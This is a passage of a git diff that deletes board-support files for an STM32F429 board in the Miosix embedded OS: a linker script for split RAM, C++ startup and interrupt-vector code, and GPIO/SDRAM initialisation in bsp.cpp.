C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 128KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 128KB RAM */ -_end = 0x20000000; -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 128K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/core/stage_1_boot.cpp deleted file mode 100644 index c4d44696b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/core/stage_1_boot.cpp +++ /dev/null @@ -1,414 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "interfaces/bsp.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f42x devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - //ST does not provide code to initialize the stm32f429-disco SDRAM at boot. - //Put after SystemInit() as SDRAM is timing-sensitive and needs the full - //clock speed. - #ifdef __ENABLE_XRAM - miosix::configureSdram(); - #endif //__ENABLE_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index dfa020301..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F429xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() __DSB() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp deleted file mode 100644 index de4521405..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,292 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -/** - * The example code from ST checks for the busy flag after each command. - * Interestingly I couldn't find any mention of this in the datsheet. - */ -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; -} - -/** - * Configure GPIOs at boot - */ -static void configureGpio() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN; - RCC_SYNC(); - - //Port config (H=high, L=low, PU=pullup, PD=pulldown) - // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | PORTG | - //--+---------+---------+---------+---------+---------+---------+---------+ - // 0| IN PD | AF14 | AF12 | AF12 | AF12 | AF12 | AF12 | - // 1| IN PD | AF14 | IN PD | AF12 | AF12 | AF12 | AF12 | - // 2| IN PD | IN | AF5 | AF12 | IN PU | AF12 | IN PD | - // 3| AF14 | IN PD | AF5 | AF14 | IN PU | AF12 | OUT L | - // 4| AF14 | AF5 | OUT L | IN PD | IN PU | AF12 | AF12 | - // 5| AF5 | AF12 | IN PD | IN PD | IN PU | AF12 | AF12 | - // 6| AF14 | AF12 | AF14 | AF14 | IN PD | IN PD | AF14 | - // 7| AF5 | IN PD | AF14 | IN PD | AF12 | IN PD | AF14 | - // 8| IN PD | AF14 | AF12 | AF12 | AF12 | IN PD | AF12 | - // 9| AF7 | AF14 | IN PD | AF12 | AF12 | IN PD | OUT H | - //10| AF7 PU | AF14 | AF14 | AF12 | AF12 | AF14 | AF14 | - //11| AF14 | AF14 | OUT L | IN PD | AF12 | AF12 | AF14 | - //12| AF14 | OUT H | AF12 | IN PD | AF12 | AF12 | AF14 | - //13| AF0 | AF5 | IN PD | IN PD | AF12 | AF12 | AF5 | - //14| AF0 | IN PD | IN PD | AF12 | AF12 | AF12 | AF5 | - //15| OUT H | IN | IN PD | AF12 | AF12 | AF12 | AF12 | - - //First, configure GPIOs - GPIOA->AFR[0]=0x5e5ee000; - GPIOA->AFR[1]=0x000ee770; - GPIOB->AFR[0]=0x0cc500ee; - GPIOB->AFR[1]=0x0050eeee; - GPIOC->AFR[0]=0xee00550c; - GPIOC->AFR[1]=0x000c0e0c; - GPIOD->AFR[0]=0x0e00eccc; - GPIOD->AFR[1]=0xcc000ccc; - GPIOE->AFR[0]=0xc00000cc; - GPIOE->AFR[1]=0xcccccccc; - GPIOF->AFR[0]=0x00cccccc; - GPIOF->AFR[1]=0xccccce00; - GPIOG->AFR[0]=0xeecc00cc; - GPIOG->AFR[1]=0xc55eee0c; - - GPIOA->MODER=0x6aa8aa80; - GPIOB->MODER=0x09aa2a0a; - GPIOC->MODER=0x0262a1a2; - GPIOD->MODER=0xa02a20aa; - GPIOE->MODER=0xaaaa800a; - GPIOF->MODER=0xaaa00aaa; - GPIOG->MODER=0xaaa6aa4a; - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... - GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins - GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; - GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; - - GPIOA->PUPDR=0x2412002a; - GPIOB->PUPDR=0x20008080; - GPIOC->PUPDR=0xa8080808; - GPIOD->PUPDR=0x0a808a00; - GPIOE->PUPDR=0x00002550; - GPIOF->PUPDR=0x000aa000; - GPIOG->PUPDR=0x00000020; - - //Last, set GPIOs configured as output to their level - expansion::spi1cs::high(); - expansion::spi2cs::high(); - display::vregEn::low(); - display::reset::low(); - display::cs::high(); -} - -void configureSdram() -{ - //To access the SDRAM we need to configure its GPIO, but since - //we're at it, we'll configure all the GPIOs - configureGpio(); - - //Second, actually start the SDRAM controller - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) - //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency - | FMC_SDCR1_RBURST // Enable read burst - | 0; // 0 delay between reads after CAS - FMC_Bank5_6->SDCR[1]=0 // 8 bit column address - | FMC_SDCR1_NR_0 // 12 bit row address - | FMC_SDCR1_MWID_0 // 16 bit data bus - | FMC_SDCR1_NB // 4 banks - | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) - - #ifdef SYSCLK_FREQ_180MHz - //One SDRAM clock cycle is 